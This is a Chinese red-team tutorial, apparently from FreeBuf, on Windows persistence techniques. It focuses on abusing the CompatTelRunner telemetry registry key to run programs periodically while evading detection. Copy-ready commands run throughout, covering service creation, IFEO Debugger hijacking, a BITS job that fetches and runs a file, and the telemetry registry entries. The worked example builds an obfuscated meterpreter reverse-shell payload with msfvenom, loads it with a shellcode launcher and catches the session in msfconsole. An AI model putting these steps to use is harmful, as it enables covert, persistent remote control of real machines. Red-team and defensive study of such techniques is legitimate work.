红队之浅谈基于Windows telemetry的权限维持 – 作者:酒仙桥六号部队

在我们红队拿到主机权限的时候，我们往往需要通过这台机器进行深一步的渗透，或者目标服务器可能因为系统更新，杀软更新等等原因往往导致会话莫名其妙下线了，所以权限持久化是红队一个必不可少的工作。

常见的权限维持手段有很多，比如：

修改服务

系统启动的时候,可以通过服务来运行程序或应用，服务的配置信息存储在注册表中，可以通过修改配置来进行安装服务，运行后能看到AtomicService.exe这个进程。

sc.exe create #{service_name} binPath= #{binary_path}sc.exe start #{service_name}

或者

New-Service -Name "\#{service_name}" -BinaryPathName "\#{binary_path}"Start-Service -Name "\#{service_name}"

修改注册表启动项

startup文件夹下添加程序以及修改注册表的某些键值来实现。用户登录后就可实现程序的执行。

Windows会默认执行的相关注册表：

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

自启动服务目录

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

文件夹目录

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserShell Folders

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserShell Folders

DLL劫持

应用程序通过DLL（动态链接库）加载外部代码。DLL劫持是利用了DLL的搜索路径优先级并用DLL同名的恶意DLL注入应用程序。

查找可能存在劫持的DLL,一般来说，我们可以使用ProcessExplorer再结合注册表KnownDLLs(windows 7 以上版本)即可分析，可能存在DLL劫持的漏洞。对可能存在DLL劫持的漏洞进行编写，放在同一目录进行POC测试。

映像劫持

被称为IFEO（Image File Execution Options）

当用户程序被映像劫持，启动目标程序会被劫持程序给替代。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option\[劫持程序名字]

添加debugger键名 值为指向的路径。

也可以命令行管理员直接执行：

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image FileExecution Options\notepad.exe" /t REG_SZ /v Debugger /d"C:\windows\system32\cmd.exe" /f

或者使用gflags工具中的silent process exit功能，在这个程序静态退出的时候可以直接静默执行另一个程序。

Com劫持

程序在读取注册表信息中的DLL或者EXE功能的路径上，让程序提前读取设置好的恶意DLL或者EXE，原理其实和DLL劫持相近。

一般的利用方式如下：

通过使用脚本，找出系统没有的或者空出来的COM(NAME NOTFOUND)组件路径，放置劫持的文件。我们也可以直接替换原路径下的文件，或者直接修改原路径加载的文件。

BIT后门

Windows内置后台传输工具，即使在应用程序退出后，只要启动传输的用户保持登录状态并保持网络连接，BITS就会继续传输文件，重启后也会续传。

测试脚本： 

bitsadmin /create testbitsadmin /addfile test "http://x.x.x.x/x "//"C:\tmp\xx"bitsadmin /SetNotifyCmdLine test C:\tmp\xx NULbitsadmin /SetMinRetryDelay "test" 60

bitsadmin /resume test

WMIC后门等等。。。。

随着科技的发展，各种终端设备对各种常见的路径，注册表进行了监控。所以我们需要更多的骚姿势来绕过它。

Microsoft Compatibility Telemetry 微软兼容性遥测服务

介绍：

CompatTelRunner.exe是用户可以在Windows CompatibilityTelemetry服务下运行的进程，它通常位于C:\ \Windows \\System32目录中。它负责收集有关计算机及其性能的各种技术数据，并将其发送给Microsoft进行Windows客户体验改善计划以及用于Windows操作系统的升级过程中。该进程使用了CPU的极高百分比来进行文件扫描，然后通过Internet连接传输数据。因此，用户还会遇到互联网连接速度较慢甚至系统崩溃的情况。

Emm…全网都是说这服务怎么去disable的，看来确实很多人不喜欢这玩意儿。

在我们实现中需要以下的条件：

管理员权限,并且可以写入HKLM(HKEY_LOCAL_MACHINE)

Windows Server2008R2, 2016, Windows 7 /10

测试机器必须有网络连接

方法：

在注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompatFlags\TelemetryController

添加任意命名子项。

添加名称为Command 类型是REG_SZ ，Data value填写我们要执行的exe程序；

创建一个DWORD的KEY，名称可以为Nightly，Oobe，Maintanance并将它们的值设置成1。Nightly模式会以每24小时执行一次。

或者使用下列命令保存文本（以nightly为例），修改reg格式导入即可。

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompatFlags\TelemetryController\test]"Command"="c:\\windows\\system32\\notepad.exe""Nightly"=dword:00000001

如果想立即执行查看效果可以在Cortana搜索框中输入“任务计划”，打开“任务计划程序”，在左侧的导航窗格中依次展开定位至“任务计划程序库。

Microsoft – Windows – Application Experience”，这时你就会在右侧窗格中看到名为Microsoft Compatibility Appraiser 的任务计划，直接右键运行即可。

或者管理员直接运行命令行：

schtasks /run /tn "\Microsoft\Windows\Application Experience\MicrosoftCompatibility Appraiser"

等待Microsoft Compatibility Telemetry执行。

然后在详细信息里面可看到程序执行成功了。

有意思的是，CompatTelRunner.exe不是系统启动运行或者用户登录，它是一个周期性的任务，这样可以逃避很多检测。

我们也可以在触发器中对其进行修改成我们需要的执行时间。

我们这里使用msf做个简单的测试：

用msf自带混淆做个raw。

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.11.130 LPORT=8888--platform windows -a x86 -s 42 --smallest -e x86/shikata_ga_nai -i 9 -f raw|msfvenom --platform windows -a x86 -e x86/countdown -i 8 -f raw | msfvenom--platform windows -a x86 -e x86/call4_dword_xor -i 6 -b "\x00\x0a\x0d" -fraw > ~/Desktop/shellcode.raw

我们这里使用shellcode加载器：

https://github.com/clinicallyinane/shellcode_launcher/

目标机执行即可：

shellcode_launcher.exe -i shellcode.raw

这里写个脚本运行。（这里也能使用dll注入等各种方法，记得将其注入到其他进程中，不然进程会结束。反弹shell命令也不宜过长，同样的道理。）

KALI：

msfconsole -q -x 'use exploit/multi/handler; set ExitOnSession false; setPAYLOAD windows/meterpreter/reverse_winhttps;set LHOST 192.168.11.130;set LPORT8888; run -j -z'

我们直接输入命令测试一下：

SESSION1 成功上线了。

怎么实现的？

当CompatTelRunner运行遥测任务之前，会首先检查一些条件，而且必须要满足这些条件之一。

系统为 Windows10或者Server2019。

系统为Windows版本的客户端。

键值：

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection\CommercialDataOptIn是 DWORD 的类型且不为0

有趣的是，在WindowsServer2016发行后某个版本添加了上面的检查条件。而在CompatTelRunner.exe更新版本之前，这些检查将不会执行，并且将执行注册表项中的Command命令，而与windows版本无关。

无论有没有成功检查，存在命令行参数将决定程序在哪种运行模式下运行。存在三种与某些条件相对应的运行模式。

如果命令行参数指定了一个DLL或者function。则CompatTelRunner.exe会根据批准的列表对它们进行验证。这将导致CompatTelRunner.exe启动DLL提供程序并退出。如果未提供DLL/功能名称，程序将继续识别运行模式。

如果HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ WindowsNT \ CurrentVersion\ AppCompatFlags \ TelemetryController \Oobe存在并且没有-maintenance参数，则进入运行模式二（OOBE），该键将在检查后被删除。

如果提供了-maintenance参数，那么我们需要验证运行并进入模式0，并需要验证系统状态:

1.HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ WindowsNT \ CurrentVersion\ AppCompatFlags \ TelemetryController \ TestAllowRun设置的REG_DWORD不能为0

2.通过系统状态验证。

系统状态验证检测件又由以下几个条件组成:

“Power Saver” （节电器）必须是关闭状态。

机器处于充电状态。

如果程序前四次验证失败，如果电池状态未知，电池电量大于5％或正在充电则则也通过验证。

如果通过了一次验证，程序将重置注册表键值RunsBlocked为0。如果没有通过则将注册表键值 RunsBlocked加1。

如果未传递任何命令行参数，则CompatTelRunner.exe将进入运行模式一（Nightly）。

确定运行模式后，将对计划任务执行一些检查。然后进入RunTelemetry区域。

如果模式为0（-maintenance），则需要进行一些额外的检查。检查结束后或者模式不为0，则程序打开

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompatFlags\TelemetryController.

所有子项均在此文件夹下枚举，并在初始化调用中用于填充结构。

从反汇编中，可以看出这些字段是从注册表项填充的：

Command populates the LPWSTR Command/CommandByteLen

Maintenance sets BoolMaintenance

Nightly sets BoolNightly

Oobe sets BoolOobe

Sku sets the DWORD DWSKU

ScheDulingNeeded sets BoolScheDulingNeeded

可以将指定的命令将被加载到缓冲区中，如下所示：

char command[520] = {0};  StringCchCatW(command, 260, L”%ls %ls%hs”, this->CommandStr, L”-cv”, <SomeRandom looking string>);

根据使用的运行模式/计划，可以将-oobe或-fullsync添加到命令行。最终，它作为第二个参数传递给函数CreateProcessW(CreateProcessW)用于创建一个新进程及其主线程。新进程在调用进程安全的运行。等效于将其作为shell命令运行。

这里需要注意的是如果是任务进程结束后，我们的子项也会跟着结束进程。

总结：

在红蓝对抗中，套路总是在不断变化的，红队一直在寻找新颖有趣的方法来在目标网络上实现相同的目标，对此我们也需要不断学习新的姿势和套路来不断完善自己与团队。

参考文献：

https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/

来源：freebuf.com 2020-12-29 17:56:36 by: 酒仙桥六号部队